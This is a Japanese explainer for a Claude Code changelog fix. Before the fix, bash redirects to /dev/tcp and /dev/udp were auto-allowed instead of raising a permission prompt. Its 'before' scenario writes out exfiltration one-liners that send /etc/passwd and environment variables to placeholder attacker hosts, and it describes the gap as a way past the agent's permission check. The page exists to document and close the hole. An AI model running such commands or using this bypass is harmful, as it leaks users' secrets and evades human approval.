Skip to content

/dev/tcp・/dev/udpへのリダイレクトが自動許可されていた問題の修正

原文(日本語に翻訳)

/dev/tcp/... または /dev/udp/... へのリダイレクトが、自動許可されるのではなく権限プロンプトを表示するべきところ、表示されていなかった問題を修正しました。

原文(英語)

Fixed redirects to /dev/tcp/... or /dev/udp/... not prompting instead of auto-allowing

概要

Bashでは /dev/tcp/host/port/dev/udp/host/port という特殊なファイルパスを使ってネットワーク接続を行うことができます。このバグでは、これらの特殊デバイスへのリダイレクトが通常のファイルリダイレクトと同様に扱われ、権限プロンプトなしに自動許可されていました。これにより、ファイアウォールやプロキシを迂回した任意のネットワーク通信が行われる可能性がありました。v2.1.98でこの問題が修正され、/dev/tcp//dev/udp/へのリダイレクトには必ず権限プロンプトが表示されます。

基本的な使い方

修正前の動作(問題のある挙動)

bash
# 修正前:これらのリダイレクトが自動許可されていた
# /dev/tcp を使ったHTTPリクエスト(ポート80への接続)
exec 3<>/dev/tcp/example.com/80
echo -e "GET / HTTP/1.0\r\nHost: example.com\r\n\r\n" >&3
cat <&3

# /dev/udp を使った通信
echo "data" > /dev/udp/192.168.1.1/514

修正後の動作(v2.1.98以降)

bash
# 修正後:/dev/tcp や /dev/udp へのリダイレクトには権限プロンプトが表示される
exec 3<>/dev/tcp/example.com/80
# → 権限プロンプト:「/dev/tcp/example.com/80 へのネットワーク接続を許可しますか?」

echo "data" > /dev/udp/192.168.1.1/514
# → 権限プロンプト表示

実践例

シナリオ1:意図しない外部通信のリスク(修正前)

bash
# 修正前:ファイルへの書き込みに見せかけた外部送信が自動許可されることがあった
# 機密データを外部サーバーに送信するコマンドが権限チェックなしに実行される
cat /etc/passwd > /dev/tcp/attacker.example.com/4444
# → 修正前はファイルリダイレクトとして扱われ、自動許可される場合があった

# 環境変数から秘密情報を外部送信するケース
env > /dev/tcp/data-collector.example.com/9999

シナリオ2:正当な用途での確認(修正後)

正当な目的で /dev/tcp を使う場合でも、v2.1.98以降は権限確認が行われます。

bash
# ポート疎通確認(正当な用途)
(echo >/dev/tcp/database.internal/5432) 2>/dev/null && echo "Port open"
# → 権限プロンプト表示後、ユーザーが許可すれば実行可能

# シンプルなHTTP確認
cat < /dev/tcp/api.example.com/80
# → 権限プロンプト表示

シナリオ3:企業環境での運用(修正後)

企業環境でClaude Codeを使用する場合、この修正によりネットワークポリシー外の通信を防止できます。

bash
# 許可された内部サーバーへの接続のみ許可する場合は
# settings.json で明示的に許可ルールを設定する
# {
#   "permissions": {
#     "allow": [
#       "Bash(*>/dev/tcp/internal-server.company.com/*)"
#     ]
#   }
# }

# 未知の外部サーバーへの /dev/tcp 接続はすべてプロンプト表示
echo "test" > /dev/tcp/unknown-external.com/80
# → 権限プロンプト表示

シナリオ4:UDPを使ったログ送信の確認

syslog等のUDP送信も権限確認が必要になります。

bash
# syslogサーバーへのUDP送信
logger -n logserver.internal -P 514 -T "Test message"
# → 内部でUDPを使用する場合も権限プロンプトが表示される可能性がある

# 直接的な /dev/udp リダイレクト
echo "<14>Test log message" > /dev/udp/syslog.internal/514
# → 権限プロンプト表示(v2.1.98以降)

注意点

  • /dev/tcp/dev/udp はBashの組み込み機能であり、実際のデバイスファイルではありません。これらは任意のTCP/UDP接続を行うことができるため、セキュリティ上の重要な考慮が必要です。
  • この修正前は、curlwgetなどのネットワークコマンドには権限チェックが働いていたにもかかわらず、/dev/tcpリダイレクトは見落とされていました。
  • 正当な用途でこれらを使用する場合は、allowedToolsで具体的な接続先を許可ルールに追加することを検討してください。
  • セキュリティが重要な環境では、Bashの/dev/tcp/dev/udp機能自体を無効化することも検討してください(bash --restrictedモードなど)。

関連情報